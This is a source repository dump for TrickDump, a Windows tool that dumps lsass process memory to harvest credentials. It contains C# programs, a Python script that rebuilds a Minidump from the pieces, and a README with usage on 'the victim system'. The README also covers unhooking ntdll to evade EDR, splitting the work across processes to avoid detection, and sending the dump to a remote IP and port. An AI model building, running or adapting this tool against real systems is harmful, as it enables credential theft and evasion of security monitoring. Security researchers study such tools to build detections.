├── Barrel
├── App.config
├── Properties
│ └── AssemblyInfo.cs
├── Barrel.csproj
├── Program.cs
└── NT.cs
├── Lock
├── App.config
├── Properties
│ └── AssemblyInfo.cs
├── Program.cs
├── Lock.csproj
└── NT.cs
├── Shock
├── App.config
├── Properties
│ └── AssemblyInfo.cs
├── Shock.csproj
├── Program.cs
└── NT.cs
├── Trick
├── App.config
├── Properties
│ └── AssemblyInfo.cs
├── Trick.csproj
├── Program.cs
└── NT.cs
├── TrickDump.sln
├── README.md
└── create_dump.py
/Barrel/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Lock/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Shock/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Trick/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Lock/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Lock")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Lock")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("c666c98c-84c3-4a5a-a73b-2fc711cfcb7f")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Shock/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Shock")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Shock")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("d8fc3807-ceaa-4f6a-9c8f-cc96f99d1f04")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Trick/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Trick")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Trick")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("b92b6b67-c7c8-4548-85ee-a215d74c000d")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Barrel/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Barrel")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Barrel")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("9e9bb94c-1fbe-4d0b-83b7-e42c83fc5d45")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Lock/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using static Lock.NT;
4 |
5 |
6 | namespace Lock
7 | {
8 | internal class Program
9 | {
10 | [StructLayout(LayoutKind.Sequential)]
11 | public struct OSVERSIONINFOEX
12 | {
13 | public int dwOSVersionInfoSize;
14 | public int dwMajorVersion;
15 | public int dwMinorVersion;
16 | public int dwBuildNumber;
17 | public int dwPlatformId;
18 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
19 | public string szCSDVersion;
20 | public short wServicePackMajor;
21 | public short wServicePackMinor;
22 | public short wSuiteMask;
23 | public byte wProductType;
24 | public byte wReserved;
25 | }
26 |
27 |
28 | [DllImport("ntdll.dll", SetLastError = true)]
29 | public static extern uint RtlGetVersion(ref OSVERSIONINFOEX lpVersionInformation);
30 |
31 |
32 | public static OSVERSIONINFOEX getBuildNumber()
33 | {
34 | OSVERSIONINFOEX osVersionInfo = new OSVERSIONINFOEX();
35 | osVersionInfo.dwOSVersionInfoSize = Marshal.SizeOf(typeof(OSVERSIONINFOEX));
36 | RtlGetVersion(ref osVersionInfo);
37 | return osVersionInfo;
38 | }
39 |
40 |
41 | public static string ToJson(string[] array)
42 | {
43 | string json_str = "{";
44 | for (int i = 0; i < array.Length; i++)
45 | {
46 | json_str += "\"field" + i.ToString() + "\" : \"" + array[i] + "\" , ";
47 | }
48 | return (json_str.Substring(0, json_str.Length - 3) + "}");
49 | }
50 |
51 |
52 | public static string ToJsonArray(string[] array)
53 | {
54 | string json_str = "[";
55 | for (int i = 0; i < array.Length; i++)
56 | {
57 | json_str += array[i] + ", ";
58 | }
59 | return (json_str.Substring(0, json_str.Length - 2) + "]");
60 | }
61 |
62 |
63 | static void WriteToFile(string path, string content)
64 | {
65 | System.IO.File.WriteAllText(path, content);
66 | Console.WriteLine("[+] File " + path + " generated.");
67 | }
68 |
69 |
70 | static void Lock(string file_name) {
71 | OSVERSIONINFOEX osVersionInfo = getBuildNumber();
72 | string[] aux_array = { osVersionInfo.dwMajorVersion.ToString(), osVersionInfo.dwMinorVersion.ToString(), osVersionInfo.dwBuildNumber.ToString() };
73 | string aux_array_json = ToJson(aux_array);
74 | string[] aux_array_1 = { aux_array_json };
75 | string lock_json_content = ToJsonArray(aux_array_1);
76 | WriteToFile(file_name, lock_json_content);
77 | }
78 |
79 |
80 | static void Main(string[] args)
81 | {
82 | // Replace ntdll library
83 | string option = "default";
84 | string wildcard_option = "";
85 | if (args.Length >= 1)
86 | {
87 | option = args[0];
88 | }
89 | if (args.Length >= 2)
90 | {
91 | wildcard_option = args[1];
92 | }
93 | ReplaceLibrary(option, wildcard_option);
94 |
95 | // Get OS information. Argument: Name of JSON file
96 | Lock("lock.json");
97 | }
98 | }
99 | }
--------------------------------------------------------------------------------
/Lock/Lock.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}
8 | Exe
9 | Lock
10 | Lock
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | true
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | true
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | DEBUG;TRACE
41 | full
42 | x64
43 | 7.3
44 | prompt
45 | true
46 | true
47 |
48 |
49 | bin\x64\Release\
50 | TRACE
51 | true
52 | pdbonly
53 | x64
54 | 7.3
55 | prompt
56 | true
57 | true
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
--------------------------------------------------------------------------------
/Shock/Shock.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}
8 | Exe
9 | Shock
10 | Shock
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | true
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | true
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | DEBUG;TRACE
41 | full
42 | x64
43 | 7.3
44 | prompt
45 | true
46 | true
47 |
48 |
49 | bin\x64\Release\
50 | TRACE
51 | true
52 | pdbonly
53 | x64
54 | 7.3
55 | prompt
56 | true
57 | true
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
--------------------------------------------------------------------------------
/Trick/Trick.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}
8 | Exe
9 | Trick
10 | Trick
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | true
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | true
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | DEBUG;TRACE
41 | true
42 | full
43 | x64
44 | 7.3
45 | prompt
46 | true
47 |
48 |
49 | bin\x64\Release\
50 | TRACE
51 | true
52 | true
53 | pdbonly
54 | x64
55 | 7.3
56 | prompt
57 | true
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
--------------------------------------------------------------------------------
/Barrel/Barrel.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}
8 | Exe
9 | Barrel
10 | Barrel
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | true
26 |
27 |
28 | x64
29 | pdbonly
30 | true
31 | bin\x64\Release\
32 | TRACE
33 | prompt
34 | 4
35 | true
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | DEBUG;TRACE
41 | true
42 | full
43 | x64
44 | 7.3
45 | prompt
46 | true
47 |
48 |
49 | bin\x64\Release\
50 | TRACE
51 | true
52 | true
53 | pdbonly
54 | x64
55 | 7.3
56 | prompt
57 | true
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
--------------------------------------------------------------------------------
/TrickDump.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.9.34616.47
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Lock", "Lock\Lock.csproj", "{C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Shock", "Shock\Shock.csproj", "{D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}"
9 | EndProject
10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Barrel", "Barrel\Barrel.csproj", "{9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}"
11 | EndProject
12 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Trick", "Trick\Trick.csproj", "{B92B6B67-C7C8-4548-85EE-A215D74C000D}"
13 | EndProject
14 | Global
15 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
16 | Debug|Any CPU = Debug|Any CPU
17 | Debug|x64 = Debug|x64
18 | Release|Any CPU = Release|Any CPU
19 | Release|x64 = Release|x64
20 | EndGlobalSection
21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
22 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
23 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Debug|Any CPU.Build.0 = Debug|Any CPU
24 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Debug|x64.ActiveCfg = Debug|x64
25 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Debug|x64.Build.0 = Debug|x64
26 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Release|Any CPU.ActiveCfg = Release|Any CPU
27 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Release|Any CPU.Build.0 = Release|Any CPU
28 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Release|x64.ActiveCfg = Release|x64
29 | {C666C98C-84C3-4A5A-A73B-2FC711CFCB7F}.Release|x64.Build.0 = Release|x64
30 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
31 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Debug|Any CPU.Build.0 = Debug|Any CPU
32 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Debug|x64.ActiveCfg = Debug|x64
33 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Debug|x64.Build.0 = Debug|x64
34 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Release|Any CPU.ActiveCfg = Release|Any CPU
35 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Release|Any CPU.Build.0 = Release|Any CPU
36 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Release|x64.ActiveCfg = Release|x64
37 | {D8FC3807-CEAA-4F6A-9C8F-CC96F99D1F04}.Release|x64.Build.0 = Release|x64
38 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
39 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Debug|Any CPU.Build.0 = Debug|Any CPU
40 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Debug|x64.ActiveCfg = Debug|Any CPU
41 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Debug|x64.Build.0 = Debug|Any CPU
42 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Release|Any CPU.ActiveCfg = Release|Any CPU
43 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Release|Any CPU.Build.0 = Release|Any CPU
44 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Release|x64.ActiveCfg = Release|x64
45 | {9E9BB94C-1FBE-4D0B-83B7-E42C83FC5D45}.Release|x64.Build.0 = Release|x64
46 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
47 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Debug|Any CPU.Build.0 = Debug|Any CPU
48 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Debug|x64.ActiveCfg = Debug|Any CPU
49 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Debug|x64.Build.0 = Debug|Any CPU
50 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Release|Any CPU.ActiveCfg = Release|Any CPU
51 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Release|Any CPU.Build.0 = Release|Any CPU
52 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Release|x64.ActiveCfg = Release|x64
53 | {B92B6B67-C7C8-4548-85EE-A215D74C000D}.Release|x64.Build.0 = Release|x64
54 | EndGlobalSection
55 | GlobalSection(SolutionProperties) = preSolution
56 | HideSolutionNode = FALSE
57 | EndGlobalSection
58 | GlobalSection(ExtensibilityGlobals) = postSolution
59 | SolutionGuid = {F6446D12-9834-4D11-A43F-7793C4A6938D}
60 | EndGlobalSection
61 | EndGlobal
62 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # TrickDump
2 |
3 | TrickDump dumps the lsass process without creating a Minidump file, generating instead 3 JSON and 1 ZIP file with the memory region dumps. In three steps:
4 |
5 | - **Lock**: Get OS information using RtlGetVersion.
6 |
7 | - **Shock**: Get SeDebugPrivilege privilege with NtOpenProcessToken and NtAdjustPrivilegeToken, open a handle with NtGetNextProcess and NtQueryInformationProcess and then get modules information using NtQueryInformationProcess and NtReadVirtualMemory.
8 |
9 | - **Barrel**: Get SeDebugPrivilege privilege, open a handle and then get information and dump memory regions using NtQueryVirtualMemory and NtReadVirtualMemory.
10 |
11 |
12 | 
13 |
14 |
15 | In the attack system, use the *create_dump.py* script to generate the Minidump file:
16 |
17 | ```
18 | python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
19 | ```
20 |
21 | The benefits of this technique are:
22 |
23 | - There is never a valid Minidump file in disk, memory or the network traffic.
24 |
25 | - There is not a single program or process executing the whole attack but three separate ones, which may raise less flags.
26 | - If you prefer to run only one program you can use [Trick](#all-in-one).
27 | - If you already have information about the OS of the target machine you can skip the first step ("Lock").
28 |
29 |
30 | - The programs only use NTAPIS (this project is a variant of [NativeDump](https://github.com/ricardojoserf/NativeDump)).
31 |
32 | - It does not use OpenProcess or NtOpenProcess to get the lsass process handle with the *PROCESS_VM_OPERATION* and *PROCESS_VM_WRITE* access rights.
33 |
34 | - Each program allows to overwrite the ntdll.dll library ".text" section to bypass API hooking:
35 | - "disk": Using a DLL already on disk. If a second argument is not used the path is "C:\Windows\System32\ntdll.dll".
36 | - "knowndlls": Using the KnownDlls folder.
37 | - "debugproc": Using a process created in debug mode. If a second argument is not used the process is "c:\windows\system32\calc.exe".
38 |
39 | It is available in different languages:
40 |
41 | - .NET: The main branch
42 | - Python: The [python-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/python-flavour)
43 | - Golang: The [golang-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/golang-flavour)
44 | - C/C++: The [c-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/c-flavour)
45 | - BOF files: The [bof-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/bof-flavour)
46 | - Crystal: The [crystal-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/crystal-flavour)
47 | - Nim: The [nim-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/nim-flavour)
48 | - Rust: The [rust-flavour branch](https://github.com/ricardojoserf/TrickDump/tree/rust-flavour)
49 |
50 | It will not work if PPL is enabled, ~~the PEB structure is unreadable~~ or the binaries are not compiled as 64-bit. **Update**: Now it is possible to execute the programs without reading the PEB, check the [peb-unreadable branch](https://github.com/ricardojoserf/TrickDump/tree/peb-unreadable) :)
51 |
52 | The technique works fine on the latest versions of Windows and has been tested against common AV and EDR solutions, but stealthiness will depend on the "flavour" you choose: use uncommon languages and customize the binaries for the best results!
53 |
54 |
55 | -------------------------
56 |
57 | ## Usage
58 |
59 | The programs are executed in the victim system, creating three JSON files (with memory regions information) and one zip file (with each memory region dump).
60 |
61 | ```
62 | Lock.exe [disk/knowndlls/debugproc]
63 | ```
64 |
65 | ```
66 | Shock.exe [disk/knowndlls/debugproc]
67 | ```
68 |
69 | ```
70 | Barrel.exe [disk/knowndlls/debugproc]
71 | ```
72 | You can execute the programs directly without overwriting the ntdll.dll library:
73 |
74 | 
75 |
76 | Or use one of the three different overwrite techniques:
77 |
78 | 
79 |
80 | Then the Minidump file is generated:
81 |
82 | 
83 |
84 | -------------------------
85 |
86 | ## All in one
87 |
88 | If you prefer to execute only one binary, Trick.exe generates a ZIP file containing the 3 JSON files and the ZIP file with the memory regions:
89 |
90 | ```
91 | Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
92 | ```
93 |
94 | You can create the ZIP file locally, optionally using a Ntdll overwrite method:
95 |
96 | 
97 |
98 | Or send it to a remote port using the second and third parameter as the IP address and the port:
99 |
100 | 
101 |
102 | In both cases you get a ZIP file like this, unzip it and create the Minidump file:
103 |
104 | 
105 |
--------------------------------------------------------------------------------
/create_dump.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import json
4 | import zipfile
5 | import argparse
6 |
7 |
8 | def get_args():
9 | parser = argparse.ArgumentParser()
10 | parser.add_argument('-l', '--lock_json', required=False, default='lock.json', action='store', help='File path for lock.json')
11 | parser.add_argument('-s', '--shock_json', required=False, default='shock.json', action='store', help='File path for shock.json')
12 | parser.add_argument('-b', '--barrel_json', required=False, default='barrel.json', action='store', help='File path for barrel.json')
13 | parser.add_argument('-z', '--barrel_zip', required=False, default='barrel.zip', action='store', help='Zip file containing the regions memory dumps')
14 | parser.add_argument('-o', '--output_file', required=False, default='oogie.dmp', action='store', help='Dump file name')
15 | my_args = parser.parse_args()
16 | return my_args
17 |
18 |
19 | def read_binary_file(file_path):
20 | with open(file_path, 'rb') as file:
21 | byte_array = file.read()
22 | return byte_array
23 |
24 |
25 | def get_dump_bytearr(lock_json, shock_json, barrel_json, zip_file):
26 | # Calculations
27 | number_modules = str(len(shock_json))
28 | modulelist_size = 4
29 | modulelist_size += 108*int(number_modules)
30 | for module in shock_json:
31 | module_fullpath_len = len(module.get("field1"))
32 | modulelist_size += (module_fullpath_len*2 + 8)
33 |
34 | mem64list_offset = modulelist_size + 0x7c
35 | mem64list_size = 16 + 16*len(barrel_json)
36 | offset_memory_regions = mem64list_offset + mem64list_size
37 |
38 | print("[+] Total number of modules: \t" + number_modules)
39 | print("[+] ModuleListStream size: \t" + str(modulelist_size))
40 | print("[+] Mem64List offset: \t\t" + str(mem64list_offset))
41 | print("[+] Mem64List size: \t\t" + str(mem64list_size))
42 |
43 | # Header
44 | header = b'\x4d\x44\x4d\x50' # Signature
45 | header += b'\x93\xa7' # Version
46 | header += b'\x00\x00' # ImplementationVersion
47 | header += b'\x03\x00\x00\x00' # NumberOfStreams
48 | header += b'\x20\x00\x00\x00' # StreamDirectoryRva
49 | header += b'\x00'*(32 - len(header)) # Other fields
50 |
51 | # Stream Directory
52 | stream_directory = b'\x04\x00\x00\x00' # Type 4 = ModuleListStream
53 | stream_directory += modulelist_size.to_bytes(4, 'little') # Size
54 | stream_directory += b'\x7c\x00\x00\x00' # Address
55 |
56 | stream_directory += b'\x07\x00\x00\x00' # Type 7 = SystemInfoStream
57 | stream_directory += b'\x38\x00\x00\x00' # Size = 56 (constant)
58 | stream_directory += b'\x44\x00\x00\x00' # Address = 0x44 (constant)
59 |
60 | stream_directory += b'\x09\x00\x00\x00' # Type 9 = Memory64ListStream
61 | stream_directory += mem64list_size.to_bytes(4, 'little') # # Size
62 | stream_directory += mem64list_offset.to_bytes(4, 'little') # Address
63 |
64 | # SystemInfoStream
65 | processor_architecture = 9
66 | majorversion = int(lock_json.get("field0"))
67 | minorversion = int(lock_json.get("field1"))
68 | build_number = int(lock_json.get("field2"))
69 | systeminfo_stream = processor_architecture.to_bytes(2, 'little') # Processor architecture
70 | systeminfo_stream += b'\x00'*6
71 | systeminfo_stream += majorversion.to_bytes(4, 'little') # Major version
72 | systeminfo_stream += minorversion.to_bytes(4, 'little') # Minor version
73 | systeminfo_stream += build_number.to_bytes(4, 'little') # Build number
74 | systeminfo_stream += b'\x00'*(56-len(systeminfo_stream))
75 |
76 | # ModuleListStream
77 | modulelist_stream = int(number_modules).to_bytes(4, 'little') # NumberOfModules
78 | pointer_index = 0x7c
79 | pointer_index += len(modulelist_stream) # 4
80 | pointer_index += 108*int(number_modules)
81 |
82 | for module in shock_json:
83 | modulelist_stream += int(module.get("field2"),16).to_bytes(8, 'little') # Module Address
84 | modulelist_stream += int(module.get("field3")).to_bytes(8, 'little') # Module Size
85 | modulelist_stream += b'\x00'*4
86 | modulelist_stream += pointer_index.to_bytes(8, 'little') # Pointer to unicode string
87 | full_path = module.get("field1")
88 | pointer_index += len(full_path)*2 + 8
89 | modulelist_stream += b'\x00'*(108-(8+8+4+8))
90 |
91 | for module in shock_json:
92 | full_path = module.get("field1")
93 | unicode_bytearr = bytearray(full_path.encode('utf-16-le'))
94 | modulelist_stream += (len(full_path)*2).to_bytes(4, 'little') # Unicode length
95 | modulelist_stream += unicode_bytearr # Unicode string
96 | modulelist_stream += 4*b'\x00' # Empty character + padding
97 |
98 | # Memory64List
99 | memory64list_stream = len(barrel_json).to_bytes(8, 'little') # NumberOfEntries
100 | memory64list_stream += offset_memory_regions.to_bytes(8, 'little') # MemoryRegionsBaseAddress
101 | for mem64 in barrel_json:
102 | memory64list_stream += int(mem64.get("field1"),16).to_bytes(8, 'little') # Mem64 Address
103 | memory64list_stream += int(mem64.get("field2")).to_bytes(8, 'little') # Mem64 Size
104 |
105 | # Add memory regions from zip file
106 | memory_bytearr = b''
107 |
108 | with zipfile.ZipFile(zip_file, 'r') as zip_file_handle:
109 | for file_info in zip_file_handle.infolist():
110 | with zip_file_handle.open(file_info.filename) as file:
111 | file_bytes = file.read()
112 | memory_bytearr += file_bytes
113 |
114 | dump_file = header + stream_directory + systeminfo_stream + modulelist_stream + memory64list_stream + memory_bytearr
115 | return dump_file
116 |
117 |
118 | def create_file(output_file, dump_file):
119 | with open(output_file, "wb") as binary_file:
120 | binary_file.write(dump_file)
121 |
122 |
123 | def show_banner():
124 | print(" _______ _ _ _____ ")
125 | print(" |__ __| (_) | | | __ \\ ")
126 | print(" | |_ __ _ ___| | _| | | |_ _ _ __ ___ _ __ ")
127 | print(" | | '__| |/ __| |/ / | | | | | | '_ ` _ \\| '_ \\ ")
128 | print(" | | | | | (__| <| |__| | |_| | | | | | | |_) |")
129 | print(" |_|_| |_|\\___|_|\\_\\_____/ \\__,_|_| |_| |_| .__/ ")
130 | print(" | | ")
131 | print(" by @ricardojoserf |_| ")
132 | print("")
133 |
134 |
135 | def main():
136 | args = get_args()
137 | lock_file = args.lock_json
138 | shock_file = args.shock_json
139 | barrel_file = args.barrel_json
140 | memory_files = args.barrel_zip
141 | output_file = args.output_file
142 |
143 | show_banner()
144 |
145 | # Generate JSON object from file
146 | if os.path.exists(lock_file):
147 | lock_json = json.loads(open(lock_file).read().splitlines()[0])[0]
148 | else:
149 | print("[-] File " + lock_file + " not found")
150 | sys.exit(0)
151 | if os.path.exists(shock_file):
152 | shock_json = json.loads(open(shock_file).read().splitlines()[0])
153 | shock_json = [obj for obj in shock_json if obj.get('field0') != ""]
154 | else:
155 | print("[-] File " + shock_file + " not found")
156 | sys.exit(0)
